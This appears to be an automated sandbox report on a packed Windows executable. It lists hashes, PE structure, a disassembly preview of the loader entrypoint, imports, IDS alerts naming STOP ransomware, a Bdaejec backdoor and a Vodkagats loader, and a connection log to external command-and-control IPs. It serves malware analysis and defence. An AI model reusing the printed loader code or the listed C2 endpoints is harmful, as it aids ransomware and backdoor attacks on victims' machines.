File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.764850329239433
TrID:	Win32 Executable (generic) a (10002005/4) 99.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File size:	807'936 bytes
MD5:	4748d9904e0eaefdd79c1dc4c5142be1
SHA1:	7f05ee2976314962e6ae088be53d0b78f8d71248
SHA256:	72f533453a36b4608bb4ccd6a8d534fcb05d7d51a55420b546defae752774221
SHA512:	c175ee64ec1ae67d27939c0a256d9a4102fd0544880f5886e2dbd649c6e618b9587357631e4fdfa47e3f671c7ad7cc2c850e7b044b0bcf1489ea9b21cd0ce598
SSDEEP:	24576:kOKcWcrZrvXxgYBV6qBi9oE/MfNzf4NSNoC/T:zrvXyYBMqBTEEfwS2
TLSH:	7B050200B791D039E5B716F04DBA93B8693E7AB19B2090CB62D51ADE17357E0EC3221B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........=.g.n.g.n.g.n.5Kn.g.n.5]n.g.n...n.g.n.g.nBg.n.5Zn.g.n.5Jn.g.n.5On.g.nRich.g.n................PE..L..._s.a...................

File Icon


Icon Hash:	27dcac9eee272d22

Static PE Info

General

Entrypoint:	0x4ed000
Entrypoint Section:	_su
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6100735F [Tue Jul 27 20:58:07 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	e22fde80595c4bea0880fd6845018d6a

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 6F734F56h
mov dword ptr [ebp-44h], 652E4479h
mov dword ptr [ebp-40h], 00006578h
mov dword ptr [ebp-3Ch], 00000000h
call 00007F3280E3BF75h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFF1D6AFh
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007F3280E3C0BEh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007F3280E3BFC4h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007F3280E3BFBBh

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25034	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe4000	0x8918	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1300	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7e30	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2b8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x25088	0x25200	bcd45f9126c6fbb00a2ab23c56eda8b9	False	0.4161931818181818	zlib compressed data	6.151950905749905	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x27000	0xbc160	0x93200	e2a7f7322738b9f9af2b1f7dd2547776	False	0.9877502389549703	data	7.984169869306572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xe4000	0x8918	0x8a00	becd2e59197036b7008d546af7a66a26	False	0.637115036231884	data	6.303343080905141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_su	0xed000	0x5000	0x4200	9024e89d3d36ce1e869105a23772d5fd	False	0.7775213068181818	data	6.934629749130472	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
HEPIYIWENIMOMACAMAKA	0xeaec8	0xee8	ASCII text, with very long lines (3816), with no line terminators	Uzbek	Italy	0.59958071278826
MIMELA	0xebdb0	0x2fa	ASCII text, with very long lines (762), with no line terminators	Uzbek	Italy	0.6456692913385826
RT_ICON	0xe4480	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Uzbek	Italy	0.5166967509025271
RT_ICON	0xe4d28	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Uzbek	Italy	0.5887096774193549
RT_ICON	0xe53f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Uzbek	Italy	0.5765895953757225
RT_ICON	0xe5958	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Uzbek	Italy	0.6106941838649156
RT_ICON	0xe6a00	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Uzbek	Italy	0.5868852459016394
RT_ICON	0xe7388	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Uzbek	Italy	0.6320921985815603
RT_ICON	0xe7850	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Uzbek	Italy	0.7486514522821577
RT_ICON	0xe9df8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Uzbek	Italy	0.8316135084427767
RT_STRING	0xec240	0xa8	data	Uzbek	Italy	0.6666666666666666
RT_STRING	0xec2e8	0x2f2	data	Uzbek	Italy	0.46551724137931033
RT_STRING	0xec5e0	0x15e	data	Uzbek	Italy	0.5457142857142857
RT_STRING	0xec740	0x1d6	data	Uzbek	Italy	0.5127659574468085
RT_ACCELERATOR	0xec0d0	0x30	data	Uzbek	Italy	0.9791666666666666
RT_ACCELERATOR	0xec0b0	0x20	data	Uzbek	Italy	1.09375
RT_GROUP_ICON	0xeaea0	0x22	data	Uzbek	Italy	1.0294117647058822
RT_GROUP_ICON	0xe77f0	0x5a	data	Uzbek	Italy	0.7222222222222222
RT_VERSION	0xec100	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79	Uzbek	Italy	0.603125

Imports

DLL

Import

KERNEL32.dll

LoadLibraryA, CreateMutexW, SetLocaleInfoW, FindNextVolumeW, GetNamedPipeHandleStateA, LocalFileTimeToFileTime, EnumResourceTypesW, EnumResourceNamesW, FillConsoleOutputCharacterA, CreateTimerQueueTimer, TerminateProcess, SetEvent, FindNextFileW, GetCompressedFileSizeA, CopyFileExW, BuildCommDCBW, VerifyVersionInfoA, FreeResource, SetLastError, GetVersionExA, ReadConsoleOutputCharacterA, SetDefaultCommConfigW, VerLanguageNameW, GetCommConfig, WritePrivateProfileStructW, LocalFree, CreateTimerQueue, FindNextVolumeMountPointA, ResetWriteWatch, WriteConsoleInputA, LoadResource, AddAtomW, InitAtomTable, GetThreadPriority, CallNamedPipeW, GetDriveTypeW, BuildCommDCBAndTimeoutsA, VirtualProtect, GlobalAlloc, VerifyVersionInfoW, InterlockedExchange, FindFirstChangeNotificationW, SearchPathW, FormatMessageW, SetDllDirectoryW, GetModuleHandleA, WritePrivateProfileStringA, GetUserDefaultLCID, TerminateThread, GlobalUnfix, SetConsoleWindowInfo, InterlockedDecrement, GetStartupInfoA, GetSystemWow64DirectoryW, CopyFileA, GetPrivateProfileIntA, SetCalendarInfoW, DebugBreak, SetConsoleCursorInfo, FreeLibraryAndExitThread, GetModuleFileNameA, SetConsoleScreenBufferSize, WaitForDebugEvent, InterlockedExchangeAdd, GetOEMCP, GetPrivateProfileStringW, CreateActCtxA, GetPrivateProfileIntW, ReadConsoleInputW, OutputDebugStringW, SetThreadAffinityMask, FlushConsoleInputBuffer, lstrlenA, WriteConsoleW, OpenMutexW, GetThreadContext, DeleteCriticalSection, QueryDepthSList, ConvertFiberToThread, SetProcessPriorityBoost, LockFile, FreeEnvironmentStringsA, GetConsoleCP, CreateIoCompletionPort, AllocConsole, GlobalGetAtomNameW, SetComputerNameA, GetConsoleAliasExesLengthA, CreateMailslotW, GetCommState, MoveFileWithProgressW, GetSystemTimeAdjustment, EnumSystemLocalesA, GetLastError, WriteProfileStringA, OpenMutexA, OpenWaitableTimerW, OpenFileMappingW, GetFileSizeEx, GetConsoleAliasesLengthW, SetProcessShutdownParameters, FillConsoleOutputCharacterW, WriteConsoleOutputCharacterA, GetNumberFormatA, BuildCommDCBAndTimeoutsW, GetConsoleAliasExesA, GetBinaryTypeW, GetModuleHandleW, Sleep, InterlockedIncrement, GetProcAddress, ExitProcess, MoveFileA, DeleteFileA, RaiseException, GetStartupInfoW, HeapValidate, IsBadReadPtr, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, TlsGetValue, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, WriteFile, GetStdHandle, GetACP, GetCPInfo, IsValidCodePage, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InitializeCriticalSectionAndSpinCount, SetHandleCount, GetFileType, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, HeapDestroy, HeapCreate, HeapFree, VirtualFree, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, OutputDebugStringA, LoadLibraryW, WideCharToMultiByte, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetFilePointer, GetConsoleMode, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CloseHandle, CreateFileA

USER32.dll

CharUpperW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Uzbek	Italy

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T02:00:42.336529+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49707	443	192.168.2.5	188.114.96.3
2024-07-25T02:01:56.726472+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49740	80	192.168.2.5	92.246.89.93
2024-07-25T02:01:30.271980+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49736	80	192.168.2.5	92.246.89.93
2024-07-25T02:00:59.862488+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49731	443	192.168.2.5	188.114.96.3
2024-07-25T02:00:50.926045+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49719	443	192.168.2.5	188.114.96.3
2024-07-25T02:00:57.674108+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49730	799	192.168.2.5	44.221.84.105
2024-07-25T02:00:34.729139+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	58201	53	192.168.2.5	1.1.1.1
2024-07-25T02:02:25.105888+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49744	80	192.168.2.5	92.246.89.93
2024-07-25T02:01:25.367314+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49734	80	192.168.2.5	92.246.89.93
2024-07-25T02:01:58.587782+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49741	80	192.168.2.5	92.246.89.93
2024-07-25T02:00:38.747743+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49705	443	192.168.2.5	188.114.96.3
2024-07-25T02:00:36.307885+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49704	799	192.168.2.5	44.221.84.105
2024-07-25T02:02:23.115835+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49743	80	192.168.2.5	92.246.89.93
2024-07-25T02:01:01.347415+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49732	799	192.168.2.5	44.221.84.105
2024-07-25T02:01:03.836109+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49709	80	192.168.2.5	92.246.89.93
2024-07-25T02:01:04.009158+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49733	799	192.168.2.5	44.221.84.105
2024-07-25T02:00:44.215693+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49712	443	192.168.2.5	188.114.96.3
2024-07-25T02:01:30.197292+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49739	20.12.23.50	192.168.2.5
2024-07-25T02:01:10.052963+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49737	799	192.168.2.5	44.221.84.105
2024-07-25T02:00:56.477348+0200	TCP	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	49729	443	192.168.2.5	52.168.117.173
2024-07-25T02:01:05.680683+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49716	80	192.168.2.5	92.246.89.93
2024-07-25T02:01:06.884981+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49735	799	192.168.2.5	44.221.84.105
2024-07-25T02:01:03.971414+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49711	80	192.168.2.5	92.246.89.93
2024-07-25T02:01:32.100512+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49738	80	192.168.2.5	92.246.89.93
2024-07-25T02:00:52.849660+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49722	20.12.23.50	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 02:00:34.869107962 CEST	49704	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:35.862147093 CEST	49704	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:35.885407925 CEST	799	49704	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:35.885427952 CEST	799	49704	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:35.885513067 CEST	49704	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:35.898365021 CEST	49704	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:35.903202057 CEST	799	49704	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:36.307787895 CEST	799	49704	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:36.307818890 CEST	799	49704	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:36.307884932 CEST	49704	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:36.307925940 CEST	49704	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:36.376863003 CEST	49704	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:36.381764889 CEST	799	49704	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:37.009531021 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:37.009583950 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:37.009660006 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:37.022315979 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:37.022341013 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:37.530139923 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:37.530253887 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:37.687371016 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:37.687406063 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:37.687810898 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:37.688011885 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:37.690773010 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:37.736506939 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:38.747752905 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:38.747875929 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:38.747920990 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:38.747940063 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:38.747992039 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:38.858524084 CEST	49705	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:38.858556986 CEST	443	49705	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:39.650089025 CEST	49706	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:39.655244112 CEST	799	49706	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:39.655343056 CEST	49706	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:40.061924934 CEST	799	49706	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:40.062001944 CEST	49706	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:40.062140942 CEST	799	49706	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:40.062185049 CEST	49706	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:41.464364052 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:41.464420080 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:41.464503050 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:41.478085995 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:41.478116989 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:41.963440895 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:41.963545084 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:41.967473030 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:41.967490911 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:41.968786955 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:41.968858004 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:41.989466906 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:42.032505989 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:42.335472107 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:42.335562944 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:42.335644007 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:42.335906029 CEST	49707	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:42.335928917 CEST	443	49707	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:42.442320108 CEST	49709	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:42.447272062 CEST	80	49709	92.246.89.93	192.168.2.5
Jul 25, 2024 02:00:42.447375059 CEST	49709	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:42.447540998 CEST	49709	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:42.452317953 CEST	80	49709	92.246.89.93	192.168.2.5
Jul 25, 2024 02:00:42.602336884 CEST	49711	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:42.607249022 CEST	80	49711	92.246.89.93	192.168.2.5
Jul 25, 2024 02:00:42.607326984 CEST	49711	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:42.607495070 CEST	49711	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:42.612231016 CEST	80	49711	92.246.89.93	192.168.2.5
Jul 25, 2024 02:00:42.971273899 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:42.971333981 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:42.971425056 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:42.982000113 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:42.982043028 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:43.484025955 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:43.484103918 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:43.866857052 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:43.866902113 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:43.867292881 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:43.867364883 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:43.870464087 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:43.912516117 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:44.215712070 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:44.215802908 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:44.215818882 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:44.215869904 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:44.216186047 CEST	49712	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:44.216209888 CEST	443	49712	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:44.273894072 CEST	49716	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:44.278924942 CEST	80	49716	92.246.89.93	192.168.2.5
Jul 25, 2024 02:00:44.279019117 CEST	49716	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:44.279242992 CEST	49716	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:00:44.284007072 CEST	80	49716	92.246.89.93	192.168.2.5
Jul 25, 2024 02:00:50.047041893 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.047096968 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.047209024 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.059427977 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.059453964 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.563159943 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.563414097 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.567794085 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.567816019 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.568177938 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.568248987 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.569828033 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.612510920 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.926028013 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.926083088 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.926095009 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.926142931 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.926156998 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:50.926201105 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.926316977 CEST	49719	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:50.926340103 CEST	443	49719	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:56.873111963 CEST	49706	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:57.248760939 CEST	49730	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:57.253829956 CEST	799	49730	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:57.253948927 CEST	49730	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:57.255054951 CEST	49730	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:57.259943008 CEST	799	49730	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:57.674035072 CEST	799	49730	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:57.674108028 CEST	49730	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:57.675180912 CEST	799	49730	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:57.676294088 CEST	49730	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:57.693670034 CEST	49730	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:00:57.698683977 CEST	799	49730	44.221.84.105	192.168.2.5
Jul 25, 2024 02:00:58.975795984 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:58.975857973 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:58.975936890 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:58.985502005 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:58.985532999 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:59.487494946 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:59.487617970 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:59.495646000 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:59.495680094 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:59.495933056 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:59.496011019 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:59.518979073 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:59.564507008 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:59.862492085 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:59.862598896 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:59.862611055 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:00:59.862660885 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:59.863073111 CEST	49731	443	192.168.2.5	188.114.96.3
Jul 25, 2024 02:00:59.863096952 CEST	443	49731	188.114.96.3	192.168.2.5
Jul 25, 2024 02:01:00.940176964 CEST	49732	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:00.946017981 CEST	799	49732	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:00.946122885 CEST	49732	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:00.951025009 CEST	49732	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:00.955871105 CEST	799	49732	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:01.347316980 CEST	799	49732	44.221.84.105	192.168.2.5
